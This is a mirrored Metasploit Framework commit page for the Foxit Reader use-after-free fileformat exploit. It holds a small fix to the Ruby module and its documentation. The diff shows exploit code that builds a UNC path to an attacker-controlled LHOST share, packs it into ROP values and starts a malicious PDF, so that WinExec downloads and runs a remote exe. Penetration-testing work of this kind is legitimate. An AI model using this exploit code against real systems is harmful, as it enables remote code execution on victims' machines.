infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Fix generated strings in pdf

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-08-28 16:26:21 -05:00
parent 4803c889f9
commit 086ec5bdfb
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
2 changed files with 4 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
documentation/modules/exploit/windows/fileformat/foxit_reader_uaf.md
View File

@ -1,6 +1,6 @@
## Description
Foxit Reader v9.0.1.1049 and earlier are affected by use-after-free and uninitialzed memory vulnerabilities that can be used to gain code execution. This module uses Uint32Array uninitialized memory and text annotation use-after-free vulnerabilities to call WinExec with a share file path to download and execute the specified exe. The module has been tested against Foxit Reader v9.0.1.1049 running on Windows 10 Pro x64 Build 17134.
Foxit Reader v9.0.1.1049 and earlier are affected by use-after-free and uninitialzed memory vulnerabilities that can be used to gain code execution. This module uses Uint32Array uninitialized memory and text annotation use-after-free vulnerabilities to call WinExec with a share file path to download and execute the specified exe. The module has been tested against Foxit Reader v9.0.1.1049 running on Windows 7 x64 and Windows 10 Pro x64 Build 17134. The module also works against Windows 10 Enterprise with insecure logons enabled.
## Vulnerable Application

5
modules/exploits/windows/fileformat/foxit_reader_uaf.rb
View File

@ -65,6 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote
share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
num = 4 - (share_path.length % 4)
num = 0 if num == 4
share_path << "\x00"*num
return nil if share_path.length > 44
@ -73,11 +74,11 @@ class MetasploitModule < Msf::Exploit::Remote
rop = ''
max_index = 0
share_path.unpack('V*').each_with_index {|blk, index|
rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]
rop << "\nrop[0x%02x] = 0x%08x;" % [index+12, blk]
max_index = index
}
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000;" % (i+12)}
<<~PDFDOC
%PDF